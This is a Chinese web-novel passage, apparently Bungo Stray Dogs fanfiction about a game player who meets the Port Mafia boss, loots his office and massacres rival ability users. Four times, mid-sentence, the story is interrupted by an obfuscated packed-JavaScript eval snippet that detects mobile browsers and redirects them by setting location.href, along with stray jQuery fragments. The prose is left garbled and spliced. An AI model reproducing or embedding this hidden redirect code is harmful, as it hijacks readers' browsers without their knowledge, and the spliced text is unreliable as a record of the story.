【抽卡机会已用完,异能目前处于锁定状态。】 看着系统弹出的提示,温叙皱了皱眉。 这是被压制了,还是没被压制? 并没有提到异能被无效化啊,但看对方也的样子也不像是骗人的……怎么回事? 遇事不决,呼叫客服。 他默默戳开系统后台,飞速输入: 【玩家的异能会被人间失格无效化吗?】 很快,回复弹出: 【亲,不好意思,这个问题小书暂时还不懂哦,亲可以使用简短一句话(20字内)描述。】 温叙:“……” 这客服的数学是体育老师教的吗?明明只有十六个字!!! 他不死心,又发了一遍。 【人间失格能无效化我的异能吗?】 【亲,不好意思,这个问题小书暂时还不懂哦,亲可以使用简短一句话(20字内)描述。】 一模一样的回复。 温叙:“……” 行,你赢了。 懒得跟这种人工智障较劲,他选择转接人工客服,几秒后,一条更正式的消息传来: 【尊贵的玩家您好,客服工号533为您服务。这边接收您的消息为一团乱码,请问是您本人操作吗?】 乱码?温叙蹙了蹙眉,指尖在虚拟键盘上停顿片刻,还是重新敲下: 【是我,我想了解的是游戏里异能力相关的问题。】 发送。 这次等的稍微久了点,客服的回复伴随着一个“抱歉鞠躬”的表情包才弹了出来: 【很抱歉,这边接收到的消息是依旧是乱码,为了确保您的安全,我们将安排技术人员对游戏进行检测。请您务必在今晚八点前退出游戏,感谢您的理解与配合。】 温叙:“……” 得了,现在是问题没得到解决,还提前收到了了“逐客令”。 虽然离退出游戏还有段时间,但温叙也没有心情继续玩了。 “我先走了,你自己保重。”温叙朝太宰治挥挥手,转身就走。 他熟门熟路往宿舍溜达,边走边回忆初次下线时莽撞的行为:当时他把身体往地上一丢,就直接退出了游戏。 结果再次上线时—— 一把手术刀直直的朝他捅过来。 要不是他眼疾手快躲开攻击,身上就要少一个器官了。 无视对方难以置信的表情,温叙翻身下床,抬手就是一枪。 自那以后,他每次下线前都乖乖回到宿舍,妥善安置好身体。 毕竟,身体被捡去做实验是事小——玩家离线期间,身体处于绝对安全的状态,任何伤害都不会起效。 但若是扔到什么荒郊野岭或者沉进海底…… 等再次上线时,那才是真的麻烦。 —— 再次进入游戏,已经是三天后。 游戏公司的效率显然不高。据官方邮件说,技术员查遍了后台,都没发现什么异常。 只有他发的消息会变成乱码,而其他内测玩家一切正常。 他们甚至尝试给温叙换了台全新的游戏舱,依旧无果。 在温叙表示不介意后,这件事以“记录在案,持续观察”名义,暂时被耽搁了。 他刚走出大楼,就被拦住了。 “温、温叙大人!”一个穿着黑大衣、长相方正的男人九十度鞠躬拦在他面前,声音带着掩饰不住的紧张:“首领……首领要见您。” 说完,他头垂得更低,额角渗出冷汗。 方块脸心里苦,今天轮到他在这片区域待命,怎么就接到这个“地狱任务”了呢? 谁不知道这位温叙大人虽然只是底层成员,但实力成谜,行事作风难以捉摸。 温叙在底层成员中名望颇高,但威名更盛。不仅是因为他在战场上凶残的表现,更是因为惹到他的人下场都极惨。 “首领?”温叙眨了眨眼,差点没反应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048753|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来。 哦对,森鸥外。港口Mafia现任boss。他都快忘了自己现在还只是个底层成员,头上还有个上司。 不过,首领突然召见? 温叙摸了摸下巴,非但没有紧张,反而眼睛一亮。 这感觉……就像走在路上突然被一个金光闪闪的“特殊事件”砸中脑袋。 总之,有乐子了! “带路。”他言简意赅。 港口Mafia总部大楼,主厅。 这里一如既往光线明亮,人穿着黑西装的人们步履匆匆,却默契地保持着低语或是沉默,只有皮鞋踩地的清脆声响规律回荡。 这是温叙第二次踏入此处,他左右看看,完全无视了严肃的氛围,很快目光锁定了访客等候区。 他全然不顾严肃的氛围,像只刚被放出笼子的大猫,突然蹿到了等候区。绕着茶几转了一圈,她极其自然地把上面放的小零嘴扫入背包。 这还没完,扫荡完明面上的,温叙蹲下身,开始逐个拉开茶几下面的小储物抽屉“寻宝”。 方块脸早被上头暗示过:只要温叙不攻击同事不拆大楼,就不要阻拦温叙的任何行为——当然,即使没有暗示,借他十个胆子,他也不敢上去招惹这位煞星。 他只能沉默地立在原地,看着温叙兴奋地在偌大的厅里跑来跑去,翻箱倒柜。 “嘿嘿,这个面包不错……唉,这里居然还有巧克力。” 温叙一边翻一边嘀咕,完全把这里当成了自助超市。 路过的黑手党成员眼观鼻鼻观心,假装什么都没看到,毕竟谁也不想惹上这位位煞星。 大厅里更安静了,只剩下温叙惊呼的声音。 终于,检查完最后一个抽屉,温叙才优哉游哉走到安静站着的方块脸身边,用眼神示意:走啊。 “……是,大人,请这边走。” 方块脸如蒙大赦,连忙引路。 叮—— 电梯在最高层停下。 走廊尽头是两扇厚重的实木大门,门旁各肃立着一名全副武装、面无表情的守卫 方块脸先一步走出,与守卫低声交谈。那两人对视一眼,随即推开沉重的大门,示意温叙一个人进入。 “林太郎是大笨蛋!” 温叙刚踏进首领办公室,清脆的童声响起,紧接着一个穿着红色小洋裙的金发小女孩就“哒哒哒”地跑向他。 而在她身后,一个穿着黑色立领外套、系着暗红色围巾的黑发男人,正举着一件华丽的深蓝色宫廷风连衣裙,脸上带着无奈又宠溺的微笑。 “爱丽丝,最后一件了。这件真的超适合你,穿上后一定会像童话里的小公主一样可爱的。试一下嘛,最后一次了。” “不要不要不要!我都试二十几件了!而且这句话林太郎都说过多少遍了。 爱丽丝灵活地躲到温叙背后,只探出个小脑袋,气呼呼地瞪着森鸥外。 “我不要再换了!” 紧接着,她扯了扯温叙的衣角,仰起小脸,委屈巴巴告状:“大哥哥,你快帮我说说林太郎。我不要再换衣服了,我好累!” 温叙没立刻说话。 在进门的那一瞬间,他就已经点开了信息面板,一行清晰的标注爱丽丝头顶: 【姓名:爱丽丝。 异能力:无(本身就是异能力生命体,怎么还会有有能力呢。)】 而森鸥外的头顶,异能力那栏,明晃晃的【Vita Sexualis】挂在上面。 温叙:“……” 5. 第5章 他缓缓将目光从信息面板移开,看向那边手里还拎着小裙子、表情神色自若的黑发男人。 又低头瞥了眼躲在自己身后、正偷偷眨眼睛的金发小女孩。 这一刻,温叙感觉头顶仿佛飘过了一排省略号。 他好像……无意间闯入了一个非常私人的亲子(bushi)互动剧场。 天杀的! 怎么会有人用自己的异能力光明正大玩起养成换装游戏啊?!! 而且还是沉浸式、互动式、把路人NPC强行拉入戏的那种! 这就是mafia首领的日常乐趣吗?真是长见识了。 森鸥外似乎全然没察觉到温叙复杂的眼神,他动作自然地将连衣裙放在旁边沙发上,仿佛刚才的追逐嬉戏只是个小插曲。他理了理衣领,表情恢复成一贯的沉稳,声音温和:“温叙君,久仰大名了。” “早就听闻你的能力出众,今日终于有机会正式见面了。” 几乎是同时,爱丽丝也瞬间变了脸色,安静地回到了森鸥外旁边,脸上的表情收敛得干干净净,只留下空洞的美丽。 切换之流畅,演技之精湛,让温叙叹为观止。 “首领。”温叙点头打招呼。当事人都这么淡定,他要是再表现出异样,反而显得自己大惊小怪。 森鸥外伸手示意办公桌前的椅子:“请坐。这次请你来,是有一个重要任务,希望你能考虑参与。” 温叙从善如流地坐下,目光落在办公桌上摊开的文件上,“多个黑手党组织联合暗中行动……”温叙挑了挑眉,低声念出文件的内容。 “没错,”森鸥外走到办公桌后坐下,双手交叠放在桌上,神情严肃了一些,“他们联合了好几位异能力者,行动隐秘,而我们的人手略显不足,所以……” 哇!是战斗任务,而且还是和异能力者交手,那他可以打得更加尽兴了!这几天没有上线,他早就手痒得不行。 温叙抬起头,毫不客气打断了森鸥外的长篇大论:“奖励是什么?” 森鸥外顿了一下,脸上的笑容更深了:“温叙君还真是直接。” 他早就从情报中了解温叙的行事风格,对这种单刀直入并不意外。 “自然不会让你白忙一场。”森鸥外取出另一份文件,推到温叙面前,语气笃定:“这是横滨几处房产的资料,我想,你现在应该很需要这个。” 温叙眼睛一亮,这个奖励来的正好,他也想要一套属于自己的房子很久了。毕竟哪个种花人不想拥有一套自己的房子呢?即便是在游戏里也是如此。 但这时候或许就要有人问了:温叙温叙,既然这里是游戏世界,你为什么不直接抢一套呢? 温叙一定会义正辞严地回答:“这是什么话!我们种花人,就算在游戏里也要遵法守法,不取不义之财。” ……好吧,实话是,温叙不是没试过。 他上次看中一套自带花园的公寓,想着暂住两天没问题吧? 经过他和房主一番友好的交流,房主终于被他的‘真诚’打动,自愿离开了房子。 ——被强行赶出家门的某mafia首领表示有话说。 结果下午对方领着一群人打上门来,嘴里喊着“混蛋”“找死”之类的话,刀枪直接招呼了过来。 温叙虽然不理解为什么这些人脾气这么暴躁,但他是那种站着挨打的人吗? 当然不是! 他当场就反击了。结果对方见状攻势更猛,还用一副“你居然还敢还手”的眼神瞪着他。 温叙哪会惯着,索性放开手脚迎战。 还别说,那几个人虽然人品堪忧,实力倒是不错,至少让温叙消耗掉了一批N级卡牌—— 诸如【爱的小拳拳】、【心在跳、人在闹】、【不要99只要100】之类的废物卡牌。 他越打越起劲,最后对方但倒是恼羞成怒,掏出一堆炸弹朝他扔了过来。 温叙倒是毫发无伤,但那栋漂亮的房子直接被炸成了废墟。 自那之后,温叙一直没找到合心意的住所,一直将就到现在。 温叙拿起那份资料仔细翻看,里面不仅配有各处房产的实拍图,还详细标注了位置、面积、优缺点以及周边环境,信息清晰明了。 “我要这个。” 资料翻到的那一页,显示的是一处位于郊区的独栋房屋,两层建筑,带有宽敞的庭院,周围还环绕着大片的农田。 温叙很满意,有了这套房子,他以后还可以在游戏体验种田的乐趣。 “可以,任务完成后,钥匙就会交给你,这栋别墅也会正式过户到你的名下。”森鸥外露出预料之中的微笑,他早就猜到温叙会选中这一套。 他稍作停顿,又温和补充道:“考虑到这个任务情况复杂,我还为你安排了一位队友。” 说着,他转向房间另一侧,语气带着几分无奈:“太宰君,可以出来了。” 温叙顺着他的目光看去。 那里是一面巨大的落地窗,却被厚重窗帘遮得严严实实。一道清瘦的少年静立在阴影之中,微微垂着头,黑色微卷的发丝遮住了小半脸颊,看不出神情。 少年闻声动了一下,缓缓抬起头。那张脸上原本没有什么表情,但下一秒,他的嘴角扬起一个弧度,整个人变得鲜活起来。 “明明是森先生讲话太慢了吧,害我等了好久。”太宰治从阴影中走出,露出了被绷带缠着的身形和熟悉的鸢色眼眸。 温叙没想到会在这里再次见到对方,但转念想到他那特殊的异能,又觉得合情合理。那样特殊的能力,被各大势力争相招揽才是常态。 森鸥外对太宰治无奈的笑了笑,像是面对一个调皮的孩子:“温叙君,太宰就是你的队友,你们需要先熟悉一下吗?” 好一副用心良苦的长辈模样。 骗谁呢。 太宰治对森鸥外这副看似包容实则处处试探的做派感到厌烦,但他什么也没说。只是维持着脸上的笑容,仿佛真的只是一个性格活泼的少年。 “不用,”温叙倒是坦率,“我们认识。” 森鸥外从善如流地转开话题:“我已经为你们开通了权限,可以调动底层成员配合行动,具体任务细节,太宰君会告诉你。” “那么,我就在这里先祝二位大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048754|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 获全胜。” “嗯嗯。”温叙没心思听这些客套话,敷衍地应了两声。他的目光,早就黏在了那张宽大的红木办公桌上。 从刚才坐下时,他就对这桌子很感兴趣,看着就是高级货,而且是首领的办公桌,里面会不会藏着什么好东西呢。 只不过碍于剧情对话才还在进行,他才按捺住没动。 现在对话结束…… 温叙站起身,在森鸥外以为他要离开时,却径直走向办公桌内侧。 越走越近,甚至伸出了手。 爱丽丝悄无声息地浮到半空,手中出现了一支巨大的注射器,面无表情地盯着温叙,蓝色的眼眸中一片冰冷。 空气骤然凝滞。 然而—— 温叙只是伸手将森鸥外从椅子上拉开,紧接着,又挪开那把沉重的座椅,自己站到那片空出来的地面上,俯身开始逐一拉开抽屉翻找。 办公桌正中间的抽屉被拉开。 里面整齐摆放着:几份文件、一把手术刀、一枚红色蝴蝶结发夹、一支签字笔…… 收进背包。 左侧的第一格抽屉里,文件。第二格,文件,右侧第三格、第四格…… 温叙把整个办公桌的抽屉翻了个遍,里面大多是各种文件和报告,偶尔有些小物件。不过他不挑剔,被他看到的都通通塞进背包。 森鸥外静立在一旁,紫红色的眼睛暗了暗,最终什么也没说。 爱丽丝也缓缓落回地面,重新变回了天真小女孩的模样,紧紧拉着森鸥外的衣袖,仿佛刚才那一幕从未发生。 在邀请温叙时,森鸥外就已经将机密文件全部转移,此刻留在办公室里的,即使被拿走,也不会对港口mafia造成任何利益上的损伤。 一人一异能体就静静看着温叙翻完办公桌,又转向存放药品的柜子,接着将整个办公室里的东西扫荡一空。 温叙看了眼背包里充实起来的物资,满意地点点头。 以后可以常来逛逛,希望这里可以刷新得快一点。 他回到原位,朝森鸥外随意挥了下手:“既然任务说完了,那我先走了。” 说完转身就走,毫不留恋。 就在他站在电梯前等待时,太宰治的声音从身后传来:“温叙君,我们是不是该先讨论一下任务细节?” “不用,”温叙头也不回,视线仍停留在不断跳动的楼层数字上,“这任务我一个人就能搞定,你什么也不用管。” 他还以为这位看起来脆弱的少年是在担心任务失败,好心地补充了一句:“放心,我肯定能完成任务,你也不用担心被牵连受罚。” ……果然是笨蛋吧。 太宰治对这份“安慰”感到无语,他顿了顿,再次开口: “那温叙君知道该去哪里找他们吗?该在什么时间动手吗?” “那不就是……” 温叙卡卡壳了。 他忽然意识到,这次的任务和以往那种“路上偶遇直接开打”的模式不同——不但要击败对方,还得先找到他们在哪儿、何时会出现? 不过,既然太宰治这么问了…… 6. 第6章 温叙转过身,眼睛一下子亮了:“你知道对吗?那快告诉我吧。” 电视剧里不都是这种套路吗?越是聪明绝顶的角色,身体往往越是孱弱。而眼前这人,肤色苍白、浑身缠着绷带、身形单薄,这完全符合设定啊。 温叙在心里给自己点了个赞,这一定就是游戏里那种负责引导玩家、提供关键情报的重要NPC吧! 太宰治迎上黑发青年眼中毫不掩饰的期待,鸢色的眸子轻轻移开,语调依旧是慢悠悠的:“这些需要先分析他们的行动才能确定。” “那还等什么?”温叙一把拉住他的手腕,兴致冲冲就要往电梯里拖,“我们快去找他们啊。” 太宰治的目光落在自己被握住的手腕上,随机把手抽出来,向后退了一步,重新拉开距离:“我才不要和男人牵手呢。” 他嫌弃地撇了撇嘴,才用看笨蛋的目光看向温叙,“港.黑有专门的情报库,我们需要先从他们故意放出的十几个烟雾弹里,找出真正的据点,再去现场确认。” 自从森鸥外上任以来,暗中觊觎港口黑手党这块肥肉的组织便络绎不绝,这次便是几个小型组织联合起来,企图推翻压在他们头顶的大山。 本来这只是个普通的侦察任务,最初交给了太宰治,按计划,他锁定对方的据点便会通知广津柳浪,后续的剿灭行动则由黑蜥蜴执行。 可那些人太过谨慎,或者说,太过胆小,他们迟迟不敢真正行动。 太宰治索性将计就计,放任他们暗中谋划,打算引出更多隐藏在暗中的的势力,再一网打尽。 直到不久前,他们自觉时机成熟,蠢蠢欲动,正准备动手。 然而,因为温叙的横空出世,他们又吓得缩了回去。 消停了一阵子,在背后支持者的怂恿和撑腰下,他们觉得自己又行了,再度暗中集结,企图一举吞下整个□□。 只是新增加的异能者们实力不算弱,加上人数上占优势,广津柳浪一人虽然可以应付,但也算是勉强。 于是,这次机会就变成了森鸥外试探温叙的最佳时机。 温叙对这些背后的算计一无所知,或者说,他知道了也不会放在心上。走进电梯时,他才后知后觉地问: “所以我们先去看资料对吧?去哪里看?” “情报室。”太宰治按下楼层键,电梯缓缓下沉。 “大人,这是您要的资料。”一位文职人员恭敬的将厚厚的一沓资料放在桌上,随即退到一旁。 温叙随手翻了两页,就被密密麻麻的字给劝退了,他撇撇嘴,把资料推远了些。全息游戏就是这点麻烦,从不直接告诉答案,需要玩家自己去找线索。 太宰治比他专业多了,少年迅速翻阅着文件,指尖偶尔在某行字或某张照片上稍作停留,目光冷静而专注。 温叙闲着也是闲着,索性在情报室里转悠起来,所到之处,周围人都纷纷低头,连呼吸都放轻了。 恶作剧的心思冒出来,他故意在一排档案架前停下,抽出一份文件,慢悠悠展开。 “咳。”旁边传来压抑的咳嗽声。 “拜托千万不要拿啊。” 一位年轻文职人员在心里疯狂祈祷,“温叙大人千万不要拿呀,那份文件要是被拿了,我们今晚又得通宵重新整理了。” 他们被首领警告过:如果温叙拿走任何文件,他们需要立即重新整理一份新的文件。可他们也都听说过关于温叙的传闻,谁敢上前提醒?自然是一个都不敢的。 于是他们只能眼睁睁看着温叙在各处档案架间晃悠,目光紧紧追随,却又不敢出声。 温叙自然是不知道这些,他只觉得好玩,这些npc的视线就像被线牵着似的,他走到哪里,目光就跟在哪里。 再一次对上一位年轻成员慌乱移开的视线,他眨了眨眼,把文件塞回去,又抽出另一份更厚重的档案。 “嘿嘿,这感觉好像在逗狗玩。”温叙在心里乐开了花,“我一动,他们的眼珠子就跟着转,太有意思了。” 就在他准备继续这场恶作剧时,太宰治的清冽的嗓音响起。 “我们要去这里。” 温叙凑了过去,看向他指出的据点,那是一片废弃的码头仓库区,他虽然看不出看太宰治是怎么从那十几个选项里精准锁定这里的,但也没有多问。 “行,那我们现在就出发?” “嗯。” 街道上人群熙攘,与往常并无不同,温叙却忍不住用余光瞥向身旁的太宰治。 这人的效率高得有点离谱了。他们刚踏进那个废弃仓库区,太宰治便目标明确地走向某个堆满集装箱的角落。 他甚至没有蹲下仔细检查,只是静静地站在那里看了几秒,便干脆利索地转过身:“可以走了。” 温叙:“……这就结束了?” “信息已经拿到了。”太宰治径自朝外走去。 两人并肩而行,温叙忍不住追问:“那现在去哪儿?还要继续查吗?” “你可以先回去了。”太宰治在街口停下脚步,声音听不出情绪,“三天后,我会通知你具体行动的时间和地点。” 温叙没有多想,他只听懂了“三天后大展身手”这个结果,顿时心情明媚:“好呀,那就三天后见!” 不过,他想起什么,又凑近一步,语气难得带上点关切:“那你呢?行动的时候,你也要一起上场吗?” 温叙担心太宰治被误伤,对方不光异能力特殊,头脑还聪明,这么一个有用的npc要是死去了,他会很苦恼的。 太宰治微微偏开头,避开他过分直白的目光:“我不会去现场,这次的战斗,由你全权负责。” 确保太宰治不会跟着一起,温叙才放下了心。 但他没立刻离开,反而上前一步,忽然伸手抓住了太宰治的手腕。 虽然从其他玩家那里知道“人间失格”对玩家的异能也有效,可经历了乱码的事件后,他就知道也不能只依赖面板。今天他特意没有抽卡,就是为了此刻做个试验。 下一秒,三张流转着微光的卡牌凭空浮现,静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048755|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静悬浮在他与太宰治之间。 果然无效。 温叙心中划过“果然如此”的念头,随即翻起系统背包。 不过,既然“人间失格”没有用的话—— 他翻出了【治疗绷带】,一卷洁白柔软的绷带出现在他手里。 “这个送你。”他把绷带塞进太宰治的手里,“它可以治疗外伤,看你身上缠着绷带,应该用的上。” 当然,最重要的是,他确实对这个看似脆弱但聪明的NPC挺感兴趣,在兴趣消退之前,还是让对方活得久一点比较好。 不等太宰治反应,温叙已经松开手,转身汇入人群,几个拐弯便不见了踪影。 太宰治站在原地,低头看了看手中的绷带,又望向温叙消失的方向,不知在想什么。 三天时间在温叙欢快的横滨探险中一晃而过。 他去了中华街,尝了正宗的滑蛋饭,去鹤见川,又一次钓了鱼,还去了一家游戏中心,在游戏里玩起了游戏。 接到消息时,他正待在森鸥外给他安排的临时办公室里。这里只有一张办公桌和一把椅子,简洁的近乎空旷,连盆绿植都没有。 “差评。”温叙趴在桌子上嘟囔,“这办公室也太寒酸了吧,连个沙发都没有。” “温叙大人,太宰先生让我通知您,可以行动了。”传话的是个年轻的黑手党成员,低着头,声音恭敬。 闻言温叙立刻从椅子上蹦起来,眼睛发亮:“在哪里在哪里?异能者有多少人?他们异能是什么?” 他一连串的问题让传话人有点懵,好在那人训练有素,迅速回答:“目标地点位于港口附近的一处老旧仓库,具体情报太宰先生放在车里了,车辆已经在楼下等候。” “太好了,终于可以活动活动筋骨了。”温叙风风火火地冲出门去,“出发出发!” 与此同时,仓库内灯火通明,数十名小型黑手党组织齐聚于此。 “我们这次集结了这么多人,就算港口Mafia真有什么邪门的‘第三小队’,也没什么好怕的!”一个满脸横肉的男人狠狠吸了口雪茄,自信满满的吐出烟圈。 “哼,不知道从哪里冒出来的家伙,害得我们计划推迟了这么久。”另一人接话,语气愤恨,但随即又露出了得意的笑,“不过这次不一样,我们背后可是又增加了不少支持者,而且他们提供的异能者,可不是吃素的。” “港口Mafia刚换首领,内部正动荡着,正是我们取而代之的好时机!”又一个男人高声说道,仿佛已看到自己成为龙头老大的场景,脸上泛起亢奋的潮红,“到时候,横滨的地下世界,就是我们的了!” 几个头目互相附和,畅想着瓜分港口黑手党地盘后的美好风光,笑声在空旷的仓库里回荡。 普通部下们听到了他们的对话,也跟着咧嘴笑起来,互相拍肩搭背,好似已经瞧见了自己横行街头的未来。 他们没有注意到,角落里那几个被“支持者”派来的异能者们,正毫不掩饰地用鄙夷目光扫视着这群乌合之众。 7. 第7章 他们的任务是收集港口黑手党异能力者的情报,如果出来迎战的是那个突然冒出来的“第三小队”,就更好了。 至于这些蠢货的野心,他们根本懒得理会,反正任务结束,这些人也就没用了。 “好了,既然人都到齐了,那我们接下来就开始按计划……”为首的头目收敛笑容,正准备部署什么,手势刚挥到一半。 “砰——” 巨响震耳欲聋,仓库厚重的大门从外部轰然炸开,砖石碎屑混合着烟尘席卷而入,刺鼻的硝烟味瞬间弥漫在整个仓库里。 一道身影踏着弥漫的尘烟,不紧不慢地走了进来。 来人黑发黑眼,年轻的脸上甚至还带着好奇,目光徐徐扫过仓库内的景象。 “哇啊,这么多人聚会呢?”温叙语气轻快,仿佛真的只是路过,“介意加我一个吗?” “只有一个人?!慌什么!”最初发言的横肉头目先是一惊,待看清只有温叙一人,立刻强作镇定,朝慌乱的手下吼道。 其他人也反应过来,羞恼之下纷纷举起武器,呈包围之势向温叙逼近。 温叙眨眨眼,表情无辜又真诚:“这么多人,但我现在更想和异能者打哎。你们这些普通小兵,先躺下吧,我们效率一点,我还赶时间呢。” 他说得那么自然,那么理所当然,像是在商量晚饭吃什么。 不等对方反应,温叙先抖了抖外套上的尘土,这才不紧不慢地取出一张卡牌,卡牌在他指尖翻转,泛起柔和的微光。 【人,我多的是激情!】 “嘿嘿,人,你要的激情来了! 魔性的声音响彻整个仓库,同时,数十枚闪烁着红光的椭圆形物体,毫无征兆地出现在那群黑手党头顶的正上方。 “那是什么?!!” “小心!快躲开!” “砰砰砰——” 连绵不绝的爆炸声接连仓库里响起,火光与浓烟瞬间吞噬了惨叫,与此同时响起的,是另一道更加魔性的哼唱: “哦~哦~激情不激情~” 温叙捂住耳朵,眼睛却亮了:“这还带精神攻击的?太棒了吧!” 他小声嘀咕,嘴角抑制不住地上扬:“简直完美,就算炸不死,也要用这魔音折磨对方!双倍的‘快乐’,谁懂?” 当爆炸的余波与诡异的歌声渐渐平息,原本拥挤的仓库已是一片狼藉,还能站立着的,只剩下那些分散在各处、反应较快的八名异能者。 异能者们此刻脸色难看,有的身上挂了彩,更多的是被那莫名其妙的歌声搞得心烦意乱。 “动手!别给他机会。” 他们彼此交换了一个眼神,下一秒,火球、冰锥、强化后的冷兵器、疾射的子弹……五花八门的异能攻击从不同方向,几乎同时袭向站在门口的那道孤零零的身影。 温叙没有躲闪。 他有点好奇,这些异能力者的攻击,比起那些普通人有什么区别? 他甚至还调整了一下站姿,双手插在兜里,任由所有攻击结结实实地落在身上。 火球最先击中他的胸口,紧接着冰锥刺入他的肩膀,子弹贯穿他的腹部,强化过的刀刃砍在他的脖颈处。 在众人的注视下,青年的身影在烟雾中踉跄后退,最终缓缓倒在了地面上,一动不动,鲜血在他身下蔓延成刺目的红。 温叙死了。 温叙又活了。 倒在地面上的“尸体”,如同幻影般消散在空气中,但又重新汇聚出了一个身影。 光芒散去,他好端端地站在原地,衣服整洁,连发型都没乱,就连地面上的血迹都已经随着他的复活消失了,一切都恢复了原样。 “什么?!!”所有异能者脸上写满了难以置信,他们都亲眼看到了鲜血飞溅,看到对方倒下,可现在…… 是超强的治愈能力?还是死而复生? 贪婪骤然取代了惊疑,如果能得到…… 异能者的眼神变得炽热起来,在里世界,这样的能力意味着什么不言而喻。 “异能力者的攻击就是不一样啊。”温叙拍了拍身上并不存在的灰尘,语气轻松,“比普通人是强上了好多。” “嗯,可以放开手脚玩了。” 他随手从背包里取出几张卡牌,身影一晃,已出现在最近的一名强化系异能者身侧。 那人反应不慢,拳头立即挥了过来,带着破风声。 温叙单手扣住对方挥舞而来的手臂,一拉一拧,对方就被干净利落的过肩摔摔倒在地,发出沉闷的撞击声。 同时,温叙侧身,一脚踢向从侧面袭来的速度型异能力者,对方被踹中腰部,整个人横飞出去,还撞翻了身后两名准备偷袭的同伴,滚成一团。 “都用尽全力,先困住他。”一名异能者喊道,眼中充满了贪婪,他们现在已经不只想完成任务了,更想活捉这位少年,逼问出他的秘密。 水弹率先朝温叙包围过来,在他身边变成透明的水幕,形成一个密闭的空间,紧接着,密密麻麻的子弹出现在这个空间里,毒气也开始从水幕底部弥漫开来。 “配合的不错嘛。”温叙站在水幕中心,还在闲心点评,嘴角的弧度越发明显。 然后他的身影一闪,消失在水弹空间里,出现在那个释放毒气的异能者身后,激光从他指尖射出,精准的击中对方的心脏,对方还没出声就软倒地面上。 一颗子弹突兀地从温叙身后出现,转瞬间就碰到了温叙的衣服,但温叙毫发无伤。 他转过头,强化了身体的男人拳头直直朝他的脸撞上来,他后仰避过,顺势一踢,对方又被踹飞了,撞塌了一排货箱。 身后子弹和火球一同攻击,他微微侧过了身,两个攻击撞到一块,最终消散在空气中。 “不过,也体验够了。”温叙轻声自语,“打了这么一会,对你们的能力都摸了一遍,也不值得继续打下去了。” 他手腕一翻,一张卡牌出现在指间。 【大家都听我说】 温叙清了清嗓子:“好了,大家都听我说,你们都是彼此的敌人哦。” 声音不大,却清晰地传入每个异能者的耳中,他们的眼神出现了短暂的涣散,紧接着仓库内幸存的异能者们,突然毫无征兆地将攻击矛头对准了身边的“同伴”。 火球砸向队友的后背,刀刃切割向最近的咽喉,子弹射向旁边的心脏……场面彻底陷入了疯狂而混乱的自相残杀。 温叙不知从哪儿拖来一个还没散架的货箱,舒舒服服地坐了上去,甚至从系统背包里摸出一包瓜子,津津有味地“观战”起来。 “唉,那个用水的,你对手小腿受伤了,动作慢半拍,快攻击他下盘!” “那个用冰的,别东张西望,你右边用枪的绕到你后面了!” “对对对,扯他头发!诶,用力啊!没吃饭吗?” “他都局部石化了,你的火球往胸口怼有啥用啊,瞄准眼睛啊!哎,真笨……” 他一边嗑瓜子,一边兴致勃勃地点评,偶尔还因为某个精彩的反杀而“哇”一声,仿佛在观看一场热闹的真人竞技秀,瓜子壳在他腿边很快就堆起了一小堆。 “异能者的战斗,花样就是多啊。”温叙吐掉瓜子壳,由衷感慨。 比起之前那些只会开枪挥刀的普通人,眼前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048756|194773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这场面确实精彩多了,各种颜色的异能乱飞,场面也确实热闹。 大约三分钟后,仓库里只剩下最后一个人还站着,那是个火系异能者,浑身都是血。 他踉踉跄跄地走的朝着大门的方向挪动,眼神空洞,完全忽视了温叙的存在,径直从他坐着的货箱旁走过。 温叙看了眼手里还剩下一小半的瓜子,遗憾叹了口气:“这就打完了,我瓜子还没磕完呢。” 他从背包里取出一把匕首,随手一掷,精准的插进了对方的后心。 那人僵在原地,缓缓倒下,头顶代表敌人的红色标志在温叙眼中逐渐变暗,最终熄灭。 “收工。”温叙伸了个懒腰,从货箱上跳下来,拍了拍手上的瓜子屑。 路过地面上的人时,他还不忘顺手拔回了自己的匕首,在尸体的衣服上擦了擦血迹,才哼着不成调的歌,慢悠悠地踱出了仓库。 